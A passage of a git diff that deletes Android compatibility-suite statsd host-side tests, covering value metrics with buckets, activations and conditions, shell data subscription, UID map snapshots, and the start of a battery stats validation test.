-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addAtomMatcher(atomMatcher);
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-        ValueMetric.newBuilder()
-            .setId(MetricsUtils.VALUE_METRIC_ID)
-            .setWhat(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-            .setBucket(TimeUnit.CTS)
-            .setValueField(FieldMatcher.newBuilder()
-                               .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                               .addChild(FieldMatcher.newBuilder().setField(
-                                   AppBreadcrumbReported.LABEL_FIELD_NUMBER)))
-            .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                     .setField(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
-                                     .build())
-            .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    Thread.sleep(1000);
-    doAppBreadcrumbReportedStop(1);
-    doAppBreadcrumbReportedStart(3);
-    doAppBreadcrumbReportedStop(3);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    assertThat(bucketCount).isGreaterThan(1);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    assertThat(totalValue).isEqualTo(8);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBuckets() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Create AppBreadcrumbReported Start/Stop events.
-    doAppBreadcrumbReportedStart(1);
-    // Wait for 2 min and 1 sec to capture at least 2 buckets
-    Thread.sleep(2*60_000 + 10_000);
-    doAppBreadcrumbReportedStop(1);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat(totalValue).isGreaterThan(130_000 - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testMultipleEventsPerBucket() throws Exception {
-    // Add AtomMatcher's.
-    final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
-    final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
-    final String predicateName = "APP_BREADCRUMB_REPORTED_IS_STOP";
-
-    AtomMatcher startAtomMatcher =
-            MetricsUtils.startAtomMatcher(predicateTrueName.hashCode());
-    AtomMatcher stopAtomMatcher =
-            MetricsUtils.stopAtomMatcher(predicateFalseName.hashCode());
-
-    StatsdConfig.Builder builder = createConfigBuilder();
-    builder.addAtomMatcher(startAtomMatcher);
-    builder.addAtomMatcher(stopAtomMatcher);
-    builder.addPredicate(Predicate.newBuilder()
-            .setId(predicateName.hashCode())
-            .setSimplePredicate(SimplePredicate.newBuilder()
-                    .setStart(predicateTrueName.hashCode())
-                    .setStop(predicateFalseName.hashCode())
-                    .setCountNesting(false)
-            )
-    );
-
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(AtomMatcher.newBuilder()
-            .setId(atomName.hashCode())
-            .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .setCondition(predicateName.hashCode())
-                    .build());
-
-    // Upload config.
-    uploadConfig(builder);
-
-    final int NUM_EVENTS = 10;
-    final long GAP_INTERVAL = 10_000;
-    // Create AppBreadcrumbReported Start/Stop events.
-    for (int i = 0; i < NUM_EVENTS; i ++) {
-      doAppBreadcrumbReportedStart(1);
-      Thread.sleep(GAP_INTERVAL);
-      doAppBreadcrumbReportedStop(1);
-      Thread.sleep(GAP_INTERVAL);
-    }
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isTrue();
-    StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-    assertThat(valueData.getDataCount()).isEqualTo(1);
-
-    int bucketCount = valueData.getData(0).getBucketInfoCount();
-    // should have at least 2 buckets
-    assertThat(bucketCount).isAtLeast(2);
-    ValueMetricData data = valueData.getData(0);
-    int totalValue = 0;
-    for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
-      MetricsUtils.assertBucketTimePresent(bucketInfo);
-      assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
-      assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
-      totalValue += (int) bucketInfo.getValues(0).getValueLong();
-    }
-    // At most we lose one full min bucket
-    assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
-  }
-
-  // Test value metric with pulled atoms and across multiple buckets
-  public void testPullerAcrossBucketsWithActivation() throws Exception {
-    StatsdConfig.Builder builder = createConfigBuilder();
-
-    // Add AtomMatcher's.
-    int activationAtomMatcherId = 1;
-    int activationAtomMatcherLabel = 1;
-    AtomMatcher activationAtomMatcher =
-            MetricsUtils.appBreadcrumbMatcherWithLabel(
-                    activationAtomMatcherId, activationAtomMatcherLabel);
-    final String atomName = "SYSTEM_ELAPSED_REALTIME";
-    SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder()
-            .setAtomId(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER);
-    builder.addAtomMatcher(activationAtomMatcher)
-            .addAtomMatcher(AtomMatcher.newBuilder()
-                    .setId(atomName.hashCode())
-                    .setSimpleAtomMatcher(sam));
-
-    // Add ValueMetric.
-    builder.addValueMetric(
-            ValueMetric.newBuilder()
-                    .setId(MetricsUtils.VALUE_METRIC_ID)
-                    .setWhat(atomName.hashCode())
-                    .setBucket(TimeUnit.ONE_MINUTE)
-                    .setValueField(FieldMatcher.newBuilder()
-                            .setField(Atom.SYSTEM_ELAPSED_REALTIME_FIELD_NUMBER)
-                            .addChild(FieldMatcher.newBuilder().setField(
-                                    SystemElapsedRealtime.TIME_MILLIS_FIELD_NUMBER)))
-                    .build());
-    // Add activation.
-    builder.addMetricActivation(MetricActivation.newBuilder()
-          .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-          .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-          .addEventActivation(EventActivation.newBuilder()
-                  .setAtomMatcherId(activationAtomMatcherId)
-                  .setTtlSeconds(5)));
-
-
-    // Upload config.
-    uploadConfig(builder);
-
-    // Wait for 1 min and 10 sec to capture at least 1 bucket
-    Thread.sleep(60_000 + 10_000);
-
-    // Wait for the metrics to propagate to statsd.
-    Thread.sleep(1_000);
-
-    StatsLogReport metricReport = getStatsLogReport();
-    LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
-    assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
-    // Bucket is skipped because metric is not activated.
-    assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
-    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
-            .isEqualTo(BucketDropReason.NO_DATA);
-  }
-
-    public void testValueMetricWithConditionAndActivation() throws Exception {
-        final int conditionLabel = 2;
-        final int activationMatcherId = 5;
-        final int activationMatcherLabel = 5;
-        final int whatMatcherId = 8;
-        final int ttlSec = 5;
-
-        // Add AtomMatchers.
-        AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, conditionLabel);
-        AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
-                APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, conditionLabel);
-        AtomMatcher activationMatcher =
-                MetricsUtils.startAtomMatcherWithLabel(
-                        activationMatcherId, activationMatcherLabel);
-        AtomMatcher whatMatcher =
-                MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
-        StatsdConfig.Builder builder = createConfigBuilder()
-                .addAtomMatcher(conditionStartAtomMatcher)
-                .addAtomMatcher(conditionStopAtomMatcher)
-                .addAtomMatcher(whatMatcher)
-                .addAtomMatcher(activationMatcher);
-
-        // Add Predicates.
-        SimplePredicate simplePredicate = SimplePredicate.newBuilder()
-                .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
-                .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
-                .build();
-        Predicate predicate = Predicate.newBuilder()
-                                  .setId(MetricsUtils.StringToId("Predicate"))
-                                  .setSimplePredicate(simplePredicate)
-                                  .build();
-        builder.addPredicate(predicate);
-
-        // Add ValueMetric.
-        builder
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(MetricsUtils.VALUE_METRIC_ID)
-                        .setWhat(whatMatcher.getId())
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        .setCondition(predicate.getId())
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-                        .setDimensionsInWhat(FieldMatcher.newBuilder().setField(whatMatcherId))
-                )
-                .addMetricActivation(MetricActivation.newBuilder()
-                        .setMetricId(MetricsUtils.VALUE_METRIC_ID)
-                        .addEventActivation(EventActivation.newBuilder()
-                                .setAtomMatcherId(activationMatcherId)
-                                .setActivationType(ActivationType.ACTIVATE_IMMEDIATELY)
-                                .setTtlSeconds(ttlSec)
-                        )
-                );
-
-        uploadConfig(builder);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        // Set the condition to true.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(10);
-        Thread.sleep(10);
-
-        // Skipped due to unknown condition at start of bucket.
-        doAppBreadcrumbReported(200);
-        Thread.sleep(10);
-
-        // Set the condition to false.
-        doAppBreadcrumbReportedStop(conditionLabel);
-        Thread.sleep(10);
-
-        // Log an event that should not be counted because condition is false.
-        doAppBreadcrumbReported(3_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(40_000);
-        Thread.sleep(10);
-
-        // Condition to true again.
-        doAppBreadcrumbReportedStart(conditionLabel);
-        Thread.sleep(10);
-
-        // Event should not be counted, metric is still not active.
-        doAppBreadcrumbReported(500_000);
-        Thread.sleep(10);
-
-        // Activate the metric.
-        doAppBreadcrumbReportedStart(activationMatcherLabel);
-        Thread.sleep(10);
-
-        //  Log an event that should be counted.
-        doAppBreadcrumbReported(6_000_000);
-        Thread.sleep(10);
-
-        // Let the metric deactivate.
-        Thread.sleep(ttlSec * 1000);
-
-        // Log an event that should not be counted.
-        doAppBreadcrumbReported(70_000_000);
-        Thread.sleep(10);
-
-        // Wait for the metrics to propagate to statsd.
-        Thread.sleep(2000);
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Received the following data: " + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-        assertThat(metricReport.hasValueMetrics()).isTrue();
-        assertThat(metricReport.getIsActive()).isFalse();
-
-        StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
-        assertThat(valueData.getDataCount()).isEqualTo(1);
-        assertThat(valueData.getData(0).getBucketInfoCount()).isEqualTo(1);
-        long totalValue = valueData.getData(0).getBucketInfoList().stream()
-                .peek(MetricsUtils::assertBucketTimePresent)
-                .peek(bucketInfo -> assertThat(bucketInfo.getValuesCount()).isEqualTo(1))
-                .map(bucketInfo -> bucketInfo.getValues(0))
-                .peek(value -> assertThat(value.getIndex()).isEqualTo(0))
-                .mapToLong(value -> value.getValueLong())
-                .sum();
-        assertThat(totalValue).isEqualTo(6_000_000);
-    }
-
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
deleted file mode 100644
index ba980fb..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.subscriber;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.compatibility.common.util.CpuFeatures;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.SystemUptime;
-import com.android.os.ShellConfig;
-import com.android.os.statsd.ShellDataProto;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.google.common.io.Files;
-import com.google.protobuf.InvalidProtocolBufferException;
-
-import java.io.File;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.util.Arrays;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Statsd shell data subscription test.
- */
-public class ShellSubscriberTest extends DeviceTestCase {
-    private int sizetBytes;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        sizetBytes = getSizetBytes();
-    }
-
-    public void testShellSubscription() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                /*subscriptionTimeSec=*/5);
-        checkOutput(receiver);
-    }
-
-    public void testShellSubscriptionReconnect() {
-        if (sizetBytes < 0) {
-            return;
-        }
-
-        ShellConfig.ShellSubscription config = createConfig();
-        for (int i = 0; i < 5; i++) {
-            CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-            // A subscription time of -1 means that statsd will not impose a timeout on the
-            // subscription. Thus, the client will exit before statsd ends the subscription.
-            startSubscription(config, receiver, /*maxTimeoutForCommandSec=*/5,
-                    /*subscriptionTimeSec=*/-1);
-            checkOutput(receiver);
-        }
-    }
-
-    private int getSizetBytes() {
-        try {
-            ITestDevice device = getDevice();
-            if (CpuFeatures.isArm64(device)) {
-                return 8;
-            }
-            if (CpuFeatures.isArm32(device)) {
-                return 4;
-            }
-            return -1;
-        } catch (DeviceNotAvailableException e) {
-            return -1;
-        }
-    }
-
-    // Choose a pulled atom that is likely to be supported on all devices (SYSTEM_UPTIME). Testing
-    // pushed atoms is trickier because executeShellCommand() is blocking, so we cannot push a
-    // breadcrumb event while the shell subscription is running.
-    private ShellConfig.ShellSubscription createConfig() {
-        return ShellConfig.ShellSubscription.newBuilder()
-                .addPulled(ShellConfig.PulledAtomSubscription.newBuilder()
-                        .setMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.SYSTEM_UPTIME_FIELD_NUMBER))
-                        .setFreqMillis(2000))
-                .build();
-    }
-
-    /**
-     * @param maxTimeoutForCommandSec maximum time imposed by adb that the command will run
-     * @param subscriptionTimeSec maximum time imposed by statsd that the subscription will last
-     */
-    private void startSubscription(
-            ShellConfig.ShellSubscription config,
-            CollectingByteOutputReceiver receiver,
-            int maxTimeoutForCommandSec,
-            int subscriptionTimeSec) {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        try {
-            File configFile = File.createTempFile("shellconfig", ".config");
-            configFile.deleteOnExit();
-            int length = config.toByteArray().length;
-            byte[] combined = new byte[sizetBytes + config.toByteArray().length];
-
-            System.arraycopy(IntToByteArrayLittleEndian(length), 0, combined, 0, sizetBytes);
-            System.arraycopy(config.toByteArray(), 0, combined, sizetBytes, length);
-
-            Files.write(combined, configFile);
-            String remotePath = "/data/local/tmp/" + configFile.getName();
-            getDevice().pushFile(configFile, remotePath);
-            LogUtil.CLog.d("waiting....................");
-
-            String cmd = String.join(" ", "cat", remotePath, "|", "cmd stats data-subscribe",
-                  String.valueOf(subscriptionTimeSec));
-
-
-            getDevice().executeShellCommand(cmd, receiver, maxTimeoutForCommandSec,
-                    /*maxTimeToOutputShellResponse=*/maxTimeoutForCommandSec, TimeUnit.SECONDS,
-                    /*retryAttempts=*/0);
-            getDevice().executeShellCommand("rm " + remotePath);
-        } catch (Exception e) {
-            fail(e.getMessage());
-        }
-    }
-
-    private byte[] IntToByteArrayLittleEndian(int length) {
-        ByteBuffer b = ByteBuffer.allocate(sizetBytes);
-        b.order(ByteOrder.LITTLE_ENDIAN);
-        b.putInt(length);
-        return b.array();
-    }
-
-    // We do not know how much data will be returned, but we can check the data format.
-    private void checkOutput(CollectingByteOutputReceiver receiver) {
-        int atomCount = 0;
-        int startIndex = 0;
-
-        byte[] output = receiver.getOutput();
-        assertThat(output.length).isGreaterThan(0);
-        while (output.length > startIndex) {
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes);
-            int dataLength = readSizetFromByteArray(output, startIndex);
-            if (dataLength == 0) {
-                // We have received a heartbeat from statsd. This heartbeat isn't accompanied by any
-                // atoms so return to top of while loop.
-                startIndex += sizetBytes;
-                continue;
-            }
-            assertThat(output.length).isAtLeast(startIndex + sizetBytes + dataLength);
-
-            ShellDataProto.ShellData data = null;
-            try {
-                int dataStart = startIndex + sizetBytes;
-                int dataEnd = dataStart + dataLength;
-                data = ShellDataProto.ShellData.parseFrom(
-                        Arrays.copyOfRange(output, dataStart, dataEnd));
-            } catch (InvalidProtocolBufferException e) {
-                fail("Failed to parse proto");
-            }
-
-            assertThat(data.getAtomCount()).isEqualTo(1);
-            assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
-            assertThat(data.getAtom(0).getSystemUptime().getUptimeMillis()).isGreaterThan(0L);
-            atomCount++;
-            startIndex += sizetBytes + dataLength;
-        }
-        assertThat(atomCount).isGreaterThan(0);
-    }
-
-    // Converts the bytes in range [startIndex, startIndex + sizetBytes) from a little-endian array
-    // into an integer. Even though sizetBytes could be greater than 4, we assume that the result
-    // will fit within an int.
-    private int readSizetFromByteArray(byte[] arr, int startIndex) {
-        int value = 0;
-        for (int j = 0; j < sizetBytes; j++) {
-            value += ((int) arr[j + startIndex] & 0xffL) << (8 * j);
-        }
-        return value;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
deleted file mode 100644
index 4ceefa7..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ /dev/null
@@ -1,136 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.uidmap;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.os.AtomsProto;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.UidMapping;
-import com.android.os.StatsLog.UidMapping.PackageInfoSnapshot;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-public class UidMapTests extends DeviceAtomTestCase {
-
-    // Tests that every report has at least one snapshot.
-    public void testUidSnapshotIncluded() throws Exception {
-        // There should be at least the test app installed during the test setup.
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            UidMapping uidmap = report.getUidMap();
-            assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
-            for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
-                // There must be at least one element in each snapshot (at least one package is
-                // installed).
-                assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
-            }
-        }
-    }
-
-    private boolean hasMatchingChange(UidMapping uidmap, int uid, boolean expectDeletion) {
-        LogUtil.CLog.d("The uid we are looking for is " + uid);
-        for (UidMapping.Change change : uidmap.getChangesList()) {
-            if (change.getAppHash() == DEVICE_SIDE_TEST_PKG_HASH && change.getUid() == uid) {
-                if (change.getDeletion() == expectDeletion) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    // Tests that delta event included during app installation.
-    public void testChangeFromInstallation() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Install the package after the config is sent to statsd. The uid map is not guaranteed to
-        // be updated if there's no config in statsd.
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    // We check that a re-installation gives a change event (similar to an app upgrade).
-    public void testChangeFromReinstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        // Now enable re-installation.
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        int uid = getUid();
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, false)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-
-    public void testChangeFromUninstall() throws Exception {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
-        createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
-        int uid = getUid();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
-        Thread.sleep(WAIT_TIME_LONG);
-
-        ConfigMetricsReportList reports = getReportList();
-        assertThat(reports.getReportsCount()).isGreaterThan(0);
-
-        boolean found = false;
-        for (ConfigMetricsReport report : reports.getReportsList()) {
-            LogUtil.CLog.d("Got the following report: \n" + report.toString());
-            if (hasMatchingChange(report.getUidMap(), uid, true)) {
-                found = true;
-            }
-        }
-        assertThat(found).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
deleted file mode 100644
index 125a32a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Package;
-import android.os.UidProto.Package.Service;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
